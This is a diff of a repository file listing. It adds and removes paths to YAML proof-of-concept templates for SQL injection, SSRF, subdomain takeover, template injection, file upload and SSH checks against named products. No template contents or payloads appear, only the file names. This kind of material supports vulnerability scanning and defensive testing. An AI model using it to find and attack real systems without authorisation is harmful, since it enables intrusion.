./poc/sql_injection/dedecms-membergroup-sqli-6796.yaml ./poc/sql_injection/dedecms-membergroup-sqli-6797.yaml -./poc/sql_injection/dedecms-membergroup-sqli-6798.yaml ./poc/sql_injection/dedecms-membergroup-sqli-6799.yaml ./poc/sql_injection/dedecms-membergroup-sqli.yml ./poc/sql_injection/discuz-sqli-my.yaml @@ -93974,8 +94508,9 @@ ./poc/sql_injection/ecology-oa-filedownloadforoutdoc-sqli.yaml ./poc/sql_injection/ecology-sqli2.yaml ./poc/sql_injection/ecology-syncuserinfo-sqli-7177.yaml +./poc/sql_injection/ecology-syncuserinfo-sqli.yaml ./poc/sql_injection/ecology-syncuserinfo-sqli.yml -./poc/sql_injection/ecology-v8-sqli.yaml +./poc/sql_injection/ecology-v8-sqli-7179.yaml ./poc/sql_injection/ecology-v8-sqli.yml ./poc/sql_injection/ecology-v9-sqli.yaml ./poc/sql_injection/ecology-validate-sqli.yml @@ -93991,10 +94526,12 @@ ./poc/sql_injection/etouch-v2-sqli-7266.yaml ./poc/sql_injection/etouch-v2-sqli-7267.yaml ./poc/sql_injection/etouch-v2-sqli-7268.yaml +./poc/sql_injection/etouch-v2-sqli.yaml ./poc/sql_injection/etouch-v2-sqli.yml ./poc/sql_injection/exposed-sqlite-manager-1.yaml ./poc/sql_injection/exposed-sqlite-manager-2.yaml ./poc/sql_injection/exposed-sqlite-manager-7349.yaml +./poc/sql_injection/exposed-sqlite-manager-7350.yaml ./poc/sql_injection/exposed-sqlite-manager.yaml ./poc/sql_injection/ezeip-sqli.yaml ./poc/sql_injection/fangweicms-sqli.yaml @@ -94007,20 +94544,20 @@ ./poc/sql_injection/fanwei_eoffice_json_common_sqli.yaml ./poc/sql_injection/fanwei_services_sqli.yaml ./poc/sql_injection/finecms-sqli-7475.yaml -./poc/sql_injection/finecms-sqli.yaml ./poc/sql_injection/finecms-sqli.yml ./poc/sql_injection/glodon-linkworks-GetIMDictionary-sqli.yaml ./poc/sql_injection/glodon-linkworks-getimdictionary-sqli.yaml ./poc/sql_injection/glodon-linkworks-getuserbyusercode-sqli.yaml ./poc/sql_injection/glodon-linkworks-sqli.yaml -./poc/sql_injection/header_sqli.yaml ./poc/sql_injection/hjsoft-eHR-showmediainfo-sqli.yaml +./poc/sql_injection/hjsoft-eHR-system-sqli.yaml ./poc/sql_injection/hjsoft-ehr-showmedia-sqli.yaml ./poc/sql_injection/hjsoft-hcm-fieldsettree-sqli.yaml ./poc/sql_injection/hjsoft-hcm-pos-dept-post-sqli.yaml ./poc/sql_injection/hongfan-iodesktopdata-sqli.yaml ./poc/sql_injection/hongfan-ioffice-ioassistance2-sqli.yaml ./poc/sql_injection/hongfan-ioffice-udfmr-asmx-sqli.yaml +./poc/sql_injection/huatian-oa-sqli.yaml ./poc/sql_injection/huatian-oa-workFlowService-sqli.yaml ./poc/sql_injection/ioffice-oa-sqli.yaml ./poc/sql_injection/isNotInTable-sqli.yaml @@ -94043,6 +94580,7 @@ ./poc/sql_injection/joomla-sqli-hdwplayer.yaml ./poc/sql_injection/joomla-sqli-vnmshop.yaml ./poc/sql_injection/joomla-sqli-weblinks_categories.yaml +./poc/sql_injection/kevinlab-bems-sqli-8457.yaml ./poc/sql_injection/kevinlab-bems-sqli-8458.yaml ./poc/sql_injection/kevinlab-bems-sqli-8459.yaml ./poc/sql_injection/kevinlab-bems-sqli-8460.yaml @@ -94070,6 +94608,7 @@ ./poc/sql_injection/pmb-sqli.yaml ./poc/sql_injection/post-time-based-sqli-finder.yaml ./poc/sql_injection/prestashop-marketplace-sqli.yaml +./poc/sql_injection/privesc-sqlite3.yaml ./poc/sql_injection/qianxin-360-tianqing-rptsvcsyncpoint-sqli.yaml ./poc/sql_injection/qibocms-sqli.yaml ./poc/sql_injection/qibocms-sqli.yml @@ -94104,6 +94643,8 @@ ./poc/sql_injection/sqli2.yaml ./poc/sql_injection/sqli_b_sleep.yaml ./poc/sql_injection/sqli_error.yaml +./poc/sql_injection/sqli_header (copy 1).yaml +./poc/sql_injection/sqli_header-10504.yaml ./poc/sql_injection/sqli_header.yaml ./poc/sql_injection/sqliheader.yaml ./poc/sql_injection/stackposts-sqli.yaml @@ -94158,7 +94699,6 @@ ./poc/sql_injection/wecrm-SmsDataList-sqli.yaml ./poc/sql_injection/wordpress-woocommerce-sqli-1.yaml ./poc/sql_injection/wordpress-woocommerce-sqli-11342.yaml -./poc/sql_injection/wordpress-woocommerce-sqli-11343.yaml ./poc/sql_injection/wordpress-woocommerce-sqli-11344.yaml ./poc/sql_injection/wordpress-woocommerce-sqli-11345.yaml ./poc/sql_injection/wordpress-woocommerce-sqli-2.yaml @@ -94166,10 +94706,10 @@ ./poc/sql_injection/wp-advanced-search-sqli.yaml ./poc/sql_injection/wp-fastest-cache-sqli.yaml ./poc/sql_injection/wp-plugin-statistics-sqli.yaml -./poc/sql_injection/wuzhicms-sqli-11656.yaml ./poc/sql_injection/wuzhicms-sqli-11657.yaml ./poc/sql_injection/wuzhicms-sqli-11658.yaml ./poc/sql_injection/wuzhicms-sqli-11659.yaml +./poc/sql_injection/wuzhicms-sqli.yaml ./poc/sql_injection/wuzhicms-v410-sqli.yaml ./poc/sql_injection/wuzhicms-v410-sqli.yml ./poc/sql_injection/xdcms-sqli-11664.yaml @@ -94202,7 +94742,6 @@ ./poc/sql_injection/yonyou-nc-workflowImageServlet-sqli.yaml ./poc/sql_injection/yonyou-u8-cloud-ExportUfoFormatAction-sqli.yaml ./poc/sql_injection/yonyou-u8-oa-sqli-11748.yaml -./poc/sql_injection/yonyou-u8-oa-sqli.yaml ./poc/sql_injection/yonyou-u8-registerservlet-sqli.yaml ./poc/sql_injection/yonyou-ufida-nc-linkvoucher-sqli.yaml ./poc/sql_injection/yonyou-ufida-nc-pagesservlet-sqli.yaml @@ -94219,18 +94758,23 @@ ./poc/sql_injection/zcms-v3-sqli-11773.yaml ./poc/sql_injection/zcms-v3-sqli-11774.yaml ./poc/sql_injection/zcms-v3-sqli-11775.yaml +./poc/sql_injection/zcms-v3-sqli.yaml ./poc/sql_injection/zcms-v3-sqli.yml ./poc/sql_injection/zero-spam-sqli.yaml ./poc/sql_injection/zerof-web-server-handleevent-sqli.yaml ./poc/sql_injection/zhiyuan-setextno-sqli.yaml ./poc/sql_injection/zzcms-zsmanage-sqli.yaml ./poc/sql_injection/zzcms-zsmanage-sqli.yml +./poc/ssh/bitvise-ssh-detect.yaml ./poc/ssh/circleci-ssh-config-926.yaml ./poc/ssh/circleci-ssh-config-928.yaml ./poc/ssh/circleci-ssh-config.yaml +./poc/ssh/cowrie-ssh-honeypot-detect.yaml ./poc/ssh/cowrie-ssh-honeypot-detection.yaml ./poc/ssh/deprecated-sshv1-detection.yaml +./poc/ssh/iam-ssh-keys-rotation.yaml ./poc/ssh/obsolete-ssh-version.yaml +./poc/ssh/openssh-detect.yaml ./poc/ssh/openssh-detect.yml ./poc/ssh/openssh-detection.yaml ./poc/ssh/openssh-server-weak-config.yaml @@ -94259,6 +94803,7 @@ ./poc/ssh/ssh-weak-public-key.yaml ./poc/ssh/ssh-weakkey-exchange-algo.yaml ./poc/ssh/sshd-config-disclosure.yaml +./poc/ssh/sshd-dropbear-detect.yaml ./poc/ssh/unrestricted-sg-ingress-ssh-port.yaml ./poc/ssh/ws_ftp-ssh-detect.yaml ./poc/ssrf/ApacheSolr-SSRF-1.yaml @@ -94427,11 +94972,10 @@ ./poc/ssrf/cloudflare-image-ssrf-1020.yaml ./poc/ssrf/cloudflare-image-ssrf-1022.yaml ./poc/ssrf/cloudflare-image-ssrf-1023.yaml -./poc/ssrf/confluence-ssrf-sharelinks-1190.yaml ./poc/ssrf/confluence-ssrf-sharelinks-1191.yaml ./poc/ssrf/confluence-ssrf-sharelinks-1192.yaml +./poc/ssrf/confluence-ssrf-sharelinks-1193.yaml ./poc/ssrf/confluence-ssrf-sharelinks-1194.yaml -./poc/ssrf/confluence-ssrf-sharelinks.yaml ./poc/ssrf/custom-microsoft-ssrf-detect.yaml ./poc/ssrf/custom-weblogic-SSRF-detect.yaml ./poc/ssrf/custom-wps-proxy-ssrf-detect.yaml @@ -94447,7 +94991,6 @@ ./poc/ssrf/hasura-graphql-ssrf.yaml ./poc/ssrf/header-blind-ssrf.yaml ./poc/ssrf/hidden-ssrf.yaml -./poc/ssrf/ibm-websphere-ssrf-8126.yaml ./poc/ssrf/ibm-websphere-ssrf.yaml ./poc/ssrf/images_proxy_ssrf.yaml ./poc/ssrf/jboss-ssrf.yaml @@ -94464,7 +95007,6 @@ ./poc/ssrf/microstrategy-ssrf-1.yaml ./poc/ssrf/microstrategy-ssrf-2.yaml ./poc/ssrf/microstrategy-ssrf-8860.yaml -./poc/ssrf/microstrategy-ssrf-8861.yaml ./poc/ssrf/microstrategy-ssrf.yaml ./poc/ssrf/office-webapps-ssrf.yaml ./poc/ssrf/openbmcs-ssrf-9261.yaml @@ -94500,13 +95042,14 @@ ./poc/ssrf/umbraco-base-ssrf-10882.yaml ./poc/ssrf/umbraco-base-ssrf-2.yaml ./poc/ssrf/umbraco-base-ssrf-3.yaml +./poc/ssrf/umbraco-base-ssrf.yaml ./poc/ssrf/vmware-vcenter-ssrf-11051.yaml ./poc/ssrf/vmware-vcenter-ssrf-11052.yaml ./poc/ssrf/vmware-vcenter-ssrf-11053.yaml ./poc/ssrf/vmware-vrealize-cve-2021-21975-ssrf.yml ./poc/ssrf/w3c-total-cache-ssrf-11077.yaml -./poc/ssrf/w3c-total-cache-ssrf-11078.yaml ./poc/ssrf/w3c-total-cache-ssrf-11079.yaml +./poc/ssrf/w3c-total-cache-ssrf-11080.yaml ./poc/ssrf/w3c-total-cache-ssrf-11081.yaml ./poc/ssrf/weblogic-ssrf.yaml ./poc/ssrf/weblogic-ssrf.yml @@ -94514,7 +95057,6 @@ ./poc/ssrf/websphere-portal-preauth-ssrf.yaml ./poc/ssrf/wordpress-ssrf-oembed.yaml ./poc/ssrf/wordpress_SSRF_Qards (1).yaml -./poc/ssrf/wp-multiple-theme-ssrf-11508.yaml ./poc/ssrf/wp-multiple-theme-ssrf-11509.yaml ./poc/ssrf/wp-multiple-theme-ssrf-11510.yaml ./poc/ssrf/wp-multiple-theme-ssrf-11511.yaml @@ -94526,13 +95068,12 @@ ./poc/ssrf/xfh-ssrf.yaml ./poc/ssrf/xmlrpc-pingback-ssrf-11686.yaml ./poc/ssrf/xmlrpc-pingback-ssrf-11687.yaml -./poc/ssrf/xmlrpc-pingback-ssrf-11688.yaml +./poc/ssrf/xmlrpc-pingback-ssrf-11689.yaml ./poc/ssrf/xmlrpc-pingback-ssrf-11690.yaml ./poc/ssrf/xmlrpc-pingback-ssrf.yaml ./poc/ssrf/yongyou-ssrf.yaml ./poc/ssrf/zimbra-preauth-ssrf-11809.yaml ./poc/ssrf/zimbra-preauth-ssrf-11810.yaml -./poc/ssrf/zimbra-preauth-ssrf-11811.yaml ./poc/ssrf/zzzcms-ssrf.yaml ./poc/subdomain_takeover/account-takeover-via-registration.yaml ./poc/subdomain_takeover/acquia-takeover-34.yaml @@ -94541,11 +95082,10 @@ ./poc/subdomain_takeover/aftership-takeover-204.yaml ./poc/subdomain_takeover/aftership-takeover-205.yaml ./poc/subdomain_takeover/aftership-takeover-206.yaml -./poc/subdomain_takeover/aftership-takeover.yaml ./poc/subdomain_takeover/agilecrm-takeover-208.yaml -./poc/subdomain_takeover/agilecrm-takeover-209.yaml ./poc/subdomain_takeover/agilecrm-takeover-210.yaml ./poc/subdomain_takeover/agilecrm-takeover-211.yaml +./poc/subdomain_takeover/agilecrm-takeover.yaml ./poc/subdomain_takeover/aha-takeover-213.yaml ./poc/subdomain_takeover/aha-takeover-215.yaml ./poc/subdomain_takeover/aha-takeover-216.yaml @@ -94557,38 +95097,39 @@ ./poc/subdomain_takeover/anima-takeover-319.yaml ./poc/subdomain_takeover/anima-takeover-320.yaml ./poc/subdomain_takeover/anima-takeover.yaml +./poc/subdomain_takeover/announcekit-takeover-321.yaml ./poc/subdomain_takeover/announcekit-takeover-322.yaml ./poc/subdomain_takeover/announcekit-takeover-323.yaml ./poc/subdomain_takeover/announcekit-takeover-324.yaml ./poc/subdomain_takeover/announcekit-takeover.yaml +./poc/subdomain_takeover/aws-bucket-takeover-630.yaml ./poc/subdomain_takeover/aws-bucket-takeover-631.yaml -./poc/subdomain_takeover/aws-bucket-takeover-632.yaml ./poc/subdomain_takeover/aws-bucket-takeover.yaml +./poc/subdomain_takeover/azure-takeover-detection-681.yaml ./poc/subdomain_takeover/azure-takeover-detection-682.yaml ./poc/subdomain_takeover/azure-takeover-detection-683.yaml ./poc/subdomain_takeover/azure-takeover-detection.yaml -./poc/subdomain_takeover/bigcartel-takeover-727.yaml +./poc/subdomain_takeover/bigcartel-takeover-728.yaml ./poc/subdomain_takeover/bigcartel-takeover-729.yaml ./poc/subdomain_takeover/bigcartel-takeover.yaml ./poc/subdomain_takeover/bitbucket-takeover-738.yaml ./poc/subdomain_takeover/bitbucket-takeover-739.yaml ./poc/subdomain_takeover/bitbucket-takeover-741.yaml ./poc/subdomain_takeover/bitbucket-takeover.yaml -./poc/subdomain_takeover/brightcove-takeover-783.yaml -./poc/subdomain_takeover/brightcove-takeover-785.yaml +./poc/subdomain_takeover/brightcove-takeover-784.yaml ./poc/subdomain_takeover/brightcove-takeover.yaml ./poc/subdomain_takeover/campaignmonitor-takeover.yaml +./poc/subdomain_takeover/canny-takeover-854.yaml ./poc/subdomain_takeover/canny-takeover-855.yaml -./poc/subdomain_takeover/canny-takeover-856.yaml ./poc/subdomain_takeover/canny-takeover-857.yaml ./poc/subdomain_takeover/canny-takeover.yaml -./poc/subdomain_takeover/cargo-takeover-866.yaml +./poc/subdomain_takeover/cargo-takeover-867.yaml ./poc/subdomain_takeover/cargo-takeover-868.yaml ./poc/subdomain_takeover/cargo-takeover-869.yaml ./poc/subdomain_takeover/cargo-takeover.yaml ./poc/subdomain_takeover/cargocollective-takeover-862.yaml +./poc/subdomain_takeover/cargocollective-takeover-863.yaml ./poc/subdomain_takeover/cargocollective-takeover-864.yaml -./poc/subdomain_takeover/cargocollective-takeover-865.yaml ./poc/subdomain_takeover/cargocollective-takeover.yaml ./poc/subdomain_takeover/ceros-takeover.yaml ./poc/subdomain_takeover/detect-all-takeover.yaml @@ -94598,10 +95139,10 @@ ./poc/subdomain_takeover/fastly-takeover-7430.yaml ./poc/subdomain_takeover/fastly-takeover.yaml ./poc/subdomain_takeover/feedpress-takeover-7455.yaml -./poc/subdomain_takeover/feedpress-takeover-7457.yaml +./poc/subdomain_takeover/feedpress-takeover-7456.yaml +./poc/subdomain_takeover/feedpress-takeover-7458.yaml ./poc/subdomain_takeover/feedpress-takeover.yaml ./poc/subdomain_takeover/flexbe-takeover-7504.yaml -./poc/subdomain_takeover/flexbe-takeover-7505.yaml ./poc/subdomain_takeover/flexbe-takeover-7506.yaml ./poc/subdomain_takeover/flexbe-takeover.yaml ./poc/subdomain_takeover/flywheel-takeover-7525.yaml @@ -94612,7 +95153,6 @@ ./poc/subdomain_takeover/freshservice-takeover.yaml ./poc/subdomain_takeover/frontify-takeover-7542.yaml ./poc/subdomain_takeover/frontify-takeover-7543.yaml -./poc/subdomain_takeover/frontify-takeover-7544.yaml ./poc/subdomain_takeover/frontify-takeover.yaml ./poc/subdomain_takeover/gemfury-takeover-7577.yaml ./poc/subdomain_takeover/gemfury-takeover-7578.yaml @@ -94625,83 +95165,83 @@ ./poc/subdomain_takeover/ghost-takeover-7619.yaml ./poc/subdomain_takeover/ghost-takeover-7620.yaml ./poc/subdomain_takeover/ghost-takeover-7621.yaml +./poc/subdomain_takeover/ghost-takeover-7622.yaml ./poc/subdomain_takeover/ghost-takeover.yaml ./poc/subdomain_takeover/gitbook-takeover-7627.yaml ./poc/subdomain_takeover/gitbook-takeover.yaml ./poc/subdomain_takeover/github-takeover-7658.yaml +./poc/subdomain_takeover/github-takeover-7659.yaml ./poc/subdomain_takeover/github-takeover-7660.yaml ./poc/subdomain_takeover/github-takeover-7661.yaml ./poc/subdomain_takeover/github-takeover-7662.yaml -./poc/subdomain_takeover/github-takeover-7663.yaml ./poc/subdomain_takeover/github-takeover.yaml ./poc/subdomain_takeover/hatenablog-takeover-7907.yaml ./poc/subdomain_takeover/hatenablog-takeover-7908.yaml ./poc/subdomain_takeover/hatenablog-takeover-7909.yaml +./poc/subdomain_takeover/hatenablog-takeover-7910.yaml ./poc/subdomain_takeover/hatenablog-takeover.yaml -./poc/subdomain_takeover/helpjuice-takeover-7925.yaml ./poc/subdomain_takeover/helpjuice-takeover-7926.yaml ./poc/subdomain_takeover/helpjuice-takeover-7927.yaml +./poc/subdomain_takeover/helpjuice-takeover-7928.yaml ./poc/subdomain_takeover/helpjuice-takeover.yaml +./poc/subdomain_takeover/helprace-takeover-7929.yaml ./poc/subdomain_takeover/helprace-takeover-7930.yaml ./poc/subdomain_takeover/helprace-takeover-7931.yaml -./poc/subdomain_takeover/helprace-takeover-7932.yaml ./poc/subdomain_takeover/helprace-takeover.yaml ./poc/subdomain_takeover/helpscout-takeover-7933.yaml ./poc/subdomain_takeover/helpscout-takeover-7934.yaml ./poc/subdomain_takeover/helpscout-takeover-7935.yaml +./poc/subdomain_takeover/helpscout-takeover-7936.yaml ./poc/subdomain_takeover/helpscout-takeover.yaml ./poc/subdomain_takeover/heroku-takeover-7941.yaml ./poc/subdomain_takeover/heroku-takeover-7942.yaml -./poc/subdomain_takeover/heroku-takeover-7943.yaml ./poc/subdomain_takeover/heroku-takeover-7944.yaml ./poc/subdomain_takeover/heroku-takeover.yaml +./poc/subdomain_takeover/hubspot-takeover-8077.yaml ./poc/subdomain_takeover/hubspot-takeover-8078.yaml -./poc/subdomain_takeover/hubspot-takeover-8079.yaml ./poc/subdomain_takeover/hubspot-takeover.yaml -./poc/subdomain_takeover/intercom-takeover-8166.yaml ./poc/subdomain_takeover/intercom-takeover-8167.yaml ./poc/subdomain_takeover/intercom-takeover-8168.yaml ./poc/subdomain_takeover/intercom-takeover-8169.yaml ./poc/subdomain_takeover/intercom-takeover.yaml -./poc/subdomain_takeover/jazzhr-takeover-8233.yaml ./poc/subdomain_takeover/jazzhr-takeover-8234.yaml +./poc/subdomain_takeover/jazzhr-takeover-8235.yaml ./poc/subdomain_takeover/jazzhr-takeover.yaml -./poc/subdomain_takeover/jetbrains-takeover-8292.yaml +./poc/subdomain_takeover/jetbrains-takeover-8293.yaml ./poc/subdomain_takeover/jetbrains-takeover-8294.yaml ./poc/subdomain_takeover/jetbrains-takeover.yaml ./poc/subdomain_takeover/kinsta-takeover-8492.yaml -./poc/subdomain_takeover/kinsta-takeover-8493.yaml ./poc/subdomain_takeover/kinsta-takeover-8494.yaml -./poc/subdomain_takeover/kinsta-takeover-8495.yaml ./poc/subdomain_takeover/kinsta-takeover.yaml ./poc/subdomain_takeover/landingi-takeover-8567.yaml ./poc/subdomain_takeover/landingi-takeover.yaml -./poc/subdomain_takeover/launchrock-takeover-8602.yaml +./poc/subdomain_takeover/launchrock-takeover-8603.yaml ./poc/subdomain_takeover/launchrock-takeover-8604.yaml +./poc/subdomain_takeover/launchrock-takeover-8605.yaml ./poc/subdomain_takeover/launchrock-takeover.yaml ./poc/subdomain_takeover/leadpages-takeover.yaml ./poc/subdomain_takeover/locomotivetakeover.yaml +./poc/subdomain_takeover/mashery-takeover-8783.yaml ./poc/subdomain_takeover/mashery-takeover-8784.yaml -./poc/subdomain_takeover/mashery-takeover-8785.yaml ./poc/subdomain_takeover/mashery-takeover-8786.yaml ./poc/subdomain_takeover/mashery-takeover.yaml -./poc/subdomain_takeover/medium-takeover-8798.yaml +./poc/subdomain_takeover/medium-takeover-8797.yaml ./poc/subdomain_takeover/medium-takeover.yaml ./poc/subdomain_takeover/meteor-takeover.yaml ./poc/subdomain_takeover/netlify-takeover-9042.yaml -./poc/subdomain_takeover/netlify-takeover-9043.yaml ./poc/subdomain_takeover/netlify-takeover-9044.yaml ./poc/subdomain_takeover/netlify-takeover.yaml +./poc/subdomain_takeover/ngrok-takeover-9126.yaml ./poc/subdomain_takeover/ngrok-takeover-9127.yaml -./poc/subdomain_takeover/ngrok-takeover-9128.yaml ./poc/subdomain_takeover/ngrok-takeover-9129.yaml ./poc/subdomain_takeover/ngrok-takeover.yaml ./poc/subdomain_takeover/pagewiz-takeover.yaml -./poc/subdomain_takeover/pantheon-takeover-9458.yaml +./poc/subdomain_takeover/pantheon-takeover-9459.yaml ./poc/subdomain_takeover/pantheon-takeover-9460.yaml ./poc/subdomain_takeover/pantheon-takeover-9461.yaml ./poc/subdomain_takeover/pantheon-takeover.yaml ./poc/subdomain_takeover/pingdom-takeover-9584.yaml +./poc/subdomain_takeover/pingdom-takeover-9585.yaml ./poc/subdomain_takeover/pingdom-takeover-9586.yaml ./poc/subdomain_takeover/pingdom-takeover-9587.yaml ./poc/subdomain_takeover/pingdom-takeover.yaml @@ -94711,20 +95251,20 @@ ./poc/subdomain_takeover/proposify-takeover.yaml ./poc/subdomain_takeover/readme-takeover-9841.yaml ./poc/subdomain_takeover/readme-takeover-9842.yaml +./poc/subdomain_takeover/readme-takeover-9843.yaml ./poc/subdomain_takeover/readme-takeover.yaml -./poc/subdomain_takeover/readthedocs-takeover-9845.yaml ./poc/subdomain_takeover/readthedocs-takeover-9846.yaml ./poc/subdomain_takeover/readthedocs-takeover-9847.yaml ./poc/subdomain_takeover/readthedocs-takeover.yaml ./poc/subdomain_takeover/s3-subtakeover-9967.yaml ./poc/subdomain_takeover/s3-subtakeover-9968.yaml -./poc/subdomain_takeover/s3-subtakeover-9969.yaml ./poc/subdomain_takeover/s3-subtakeover.yaml +./poc/subdomain_takeover/shopify-takeover-10201.yaml ./poc/subdomain_takeover/shopify-takeover-10202.yaml ./poc/subdomain_takeover/shopify-takeover-10203.yaml -./poc/subdomain_takeover/shopify-takeover-10204.yaml ./poc/subdomain_takeover/shopify-takeover.yaml ./poc/subdomain_takeover/short-io-takeover.yaml +./poc/subdomain_takeover/simplebooklet-takeover-10271.yaml ./poc/subdomain_takeover/simplebooklet-takeover-10272.yaml ./poc/subdomain_takeover/simplebooklet-takeover-10273.yaml ./poc/subdomain_takeover/simplebooklet-takeover-10274.yaml @@ -94732,14 +95272,16 @@ ./poc/subdomain_takeover/smartjob-takeover-10322.yaml ./poc/subdomain_takeover/smartjob-takeover-10323.yaml ./poc/subdomain_takeover/smartjob-takeover-10324.yaml +./poc/subdomain_takeover/smartjob-takeover-10325.yaml ./poc/subdomain_takeover/smartjob-takeover.yaml ./poc/subdomain_takeover/smartling-takeover-10327.yaml ./poc/subdomain_takeover/smartling-takeover.yaml +./poc/subdomain_takeover/smugmug-takeover-10337.yaml ./poc/subdomain_takeover/smugmug-takeover-10338.yaml ./poc/subdomain_takeover/smugmug-takeover-10339.yaml ./poc/subdomain_takeover/smugmug-takeover-10340.yaml ./poc/subdomain_takeover/smugmug-takeover.yaml -./poc/subdomain_takeover/sprintful-takeover-10495.yaml +./poc/subdomain_takeover/sprintful-takeover-10494.yaml ./poc/subdomain_takeover/sprintful-takeover.yaml ./poc/subdomain_takeover/strikingly-takeover-10549.yaml ./poc/subdomain_takeover/strikingly-takeover-10550.yaml @@ -94756,84 +95298,84 @@ ./poc/subdomain_takeover/surveygizmo-takeover.yaml ./poc/subdomain_takeover/surveysparrow-takeover.yaml ./poc/subdomain_takeover/takeover-checker.yaml -./poc/subdomain_takeover/tave-takeover-10659.yaml ./poc/subdomain_takeover/tave-takeover-10660.yaml ./poc/subdomain_takeover/tave-takeover-10661.yaml +./poc/subdomain_takeover/tave-takeover-10662.yaml ./poc/subdomain_takeover/tave-takeover.yaml +./poc/subdomain_takeover/teamwork-takeover-10668.yaml ./poc/subdomain_takeover/teamwork-takeover-10669.yaml -./poc/subdomain_takeover/teamwork-takeover-10670.yaml ./poc/subdomain_takeover/teamwork-takeover-10671.yaml ./poc/subdomain_takeover/teamwork-takeover.yaml +./poc/subdomain_takeover/tictail-takeover-10766.yaml ./poc/subdomain_takeover/tictail-takeover-10767.yaml -./poc/subdomain_takeover/tictail-takeover-10768.yaml +./poc/subdomain_takeover/tictail-takeover-10769.yaml ./poc/subdomain_takeover/tictail-takeover.yaml -./poc/subdomain_takeover/tilda-takeover-10781.yaml ./poc/subdomain_takeover/tilda-takeover-10782.yaml +./poc/subdomain_takeover/tilda-takeover-10783.yaml ./poc/subdomain_takeover/tilda-takeover-10784.yaml ./poc/subdomain_takeover/tilda-takeover.yaml -./poc/subdomain_takeover/tumblr-takeover-10845.yaml +./poc/subdomain_takeover/tumblr-takeover-10846.yaml ./poc/subdomain_takeover/tumblr-takeover-10847.yaml ./poc/subdomain_takeover/tumblr-takeover.yaml +./poc/subdomain_takeover/uberflip-takeover-10864.yaml ./poc/subdomain_takeover/uberflip-takeover-10865.yaml -./poc/subdomain_takeover/uberflip-takeover-10866.yaml ./poc/subdomain_takeover/uberflip-takeover-10867.yaml ./poc/subdomain_takeover/uberflip-takeover.yaml ./poc/subdomain_takeover/unbounce-takeover-10970.yaml ./poc/subdomain_takeover/unbounce-takeover.yaml ./poc/subdomain_takeover/uptimerobot-takeover-10986.yaml +./poc/subdomain_takeover/uptimerobot-takeover-10987.yaml ./poc/subdomain_takeover/uptimerobot-takeover-10988.yaml -./poc/subdomain_takeover/uptimerobot-takeover-10989.yaml ./poc/subdomain_takeover/uptimerobot-takeover.yaml +./poc/subdomain_takeover/urge-takeover-10991.yaml ./poc/subdomain_takeover/urge-takeover.yaml ./poc/subdomain_takeover/uservoice-takeover.yaml ./poc/subdomain_takeover/vend-takeover-10996.yaml ./poc/subdomain_takeover/vend-takeover-10997.yaml -./poc/subdomain_takeover/vend-takeover-10998.yaml +./poc/subdomain_takeover/vend-takeover-10999.yaml ./poc/subdomain_takeover/vend-takeover.yaml ./poc/subdomain_takeover/vercel-takeover-11001.yaml ./poc/subdomain_takeover/vercel-takeover.yaml ./poc/subdomain_takeover/webflow-takeover-11131.yaml -./poc/subdomain_takeover/webflow-takeover-11132.yaml +./poc/subdomain_takeover/webflow-takeover-11133.yaml ./poc/subdomain_takeover/webflow-takeover-11134.yaml ./poc/subdomain_takeover/webflow-takeover.yaml ./poc/subdomain_takeover/wishpond-takeover-11215.yaml -./poc/subdomain_takeover/wishpond-takeover-11217.yaml +./poc/subdomain_takeover/wishpond-takeover-11216.yaml ./poc/subdomain_takeover/wishpond-takeover-11218.yaml ./poc/subdomain_takeover/wishpond-takeover.yaml ./poc/subdomain_takeover/wix-takeover-11219.yaml -./poc/subdomain_takeover/wix-takeover-11220.yaml +./poc/subdomain_takeover/wordpress-takeover-11310.yaml ./poc/subdomain_takeover/wordpress-takeover-11311.yaml ./poc/subdomain_takeover/wordpress-takeover-11312.yaml -./poc/subdomain_takeover/wordpress-takeover-11313.yaml ./poc/subdomain_takeover/wordpress-takeover-11314.yaml ./poc/subdomain_takeover/wordpress-takeover.yaml ./poc/subdomain_takeover/worksite-takeover-workflow-11389.yaml -./poc/subdomain_takeover/worksites-takeover-11388.yaml +./poc/subdomain_takeover/worksites-takeover-11387.yaml ./poc/subdomain_takeover/worksites-takeover.yaml ./poc/subdomain_takeover/wpsite-background-takeover-27e55b32604a97373f48c9d933458e81.yaml ./poc/subdomain_takeover/wpsite-background-takeover.yaml -./poc/subdomain_takeover/wufoo-takeover-11649.yaml +./poc/subdomain_takeover/wufoo-takeover-11648.yaml ./poc/subdomain_takeover/wufoo-takeover-11650.yaml ./poc/subdomain_takeover/wufoo-takeover-11651.yaml ./poc/subdomain_takeover/wufoo-takeover.yaml +./poc/subdomain_takeover/zendesk-takeover-11780.yaml ./poc/subdomain_takeover/zendesk-takeover-11781.yaml -./poc/subdomain_takeover/zendesk-takeover-11782.yaml ./poc/subdomain_takeover/zendesk-takeover-11783.yaml ./poc/subdomain_takeover/zendesk-takeover.yaml ./poc/template_injection/ScanSSTI.yaml ./poc/template_injection/hidden-ssti.yaml ./poc/template_injection/jeecg-boot-ssti.yaml ./poc/template_injection/node-nunjucks-ssti.yaml -./poc/template_injection/pdf-signer-ssti-to-rce-9470.yaml ./poc/template_injection/pdf-signer-ssti-to-rce-9471.yaml +./poc/template_injection/pdf-signer-ssti-to-rce-9472.yaml ./poc/template_injection/pdf-signer-ssti-to-rce.yaml -./poc/template_injection/pikpikcussti.yaml ./poc/template_injection/reflection-ssti.yaml ./poc/template_injection/ssti-10528.yaml ./poc/template_injection/ssti-fuzz.yaml ./poc/template_injection/ssti-jinja2.yaml ./poc/template_injection/ssti-vuln-params.yaml -./poc/template_injection/twig-php-ssti-10856.yaml +./poc/template_injection/ssti.yaml ./poc/template_injection/twig-php-ssti-10857.yaml ./poc/template_injection/twig-php-ssti-10858.yaml ./poc/template_injection/twig-php-ssti-10859.yaml @@ -94844,7 +95386,6 @@ ./poc/upload/Dahua_Video_FileUpload.yaml ./poc/upload/Dahua_WPMS_upload_addimgico.yaml ./poc/upload/E-Office_V10_OfficeServer_upload.yaml -./poc/upload/E-office 任意文件上传-mobile_upload_save(CVE-2023-2523).yaml ./poc/upload/E-office-do_excel-FileUpload.yaml ./poc/upload/E-office10-Upload.yaml ./poc/upload/File upload - Double extensions.yaml @@ -94975,8 +95516,10 @@ ./poc/upload/esafenet-cdgserver3-uploadfilefromclientserviceforclient-fileupload.yaml ./poc/upload/esafenet-cdgserver3-uploadfilelist-fileread.yaml ./poc/upload/exposed-file-upload-form.yaml +./poc/upload/exposed-jquery-file-upload-7313.yaml ./poc/upload/exposed-jquery-file-upload-7314.yaml ./poc/upload/exposed-jquery-file-upload-7315.yaml +./poc/upload/exposed-jquery-file-upload.yaml ./poc/upload/fanruan-finereport-v9-design-save-svg-fileupload.yaml 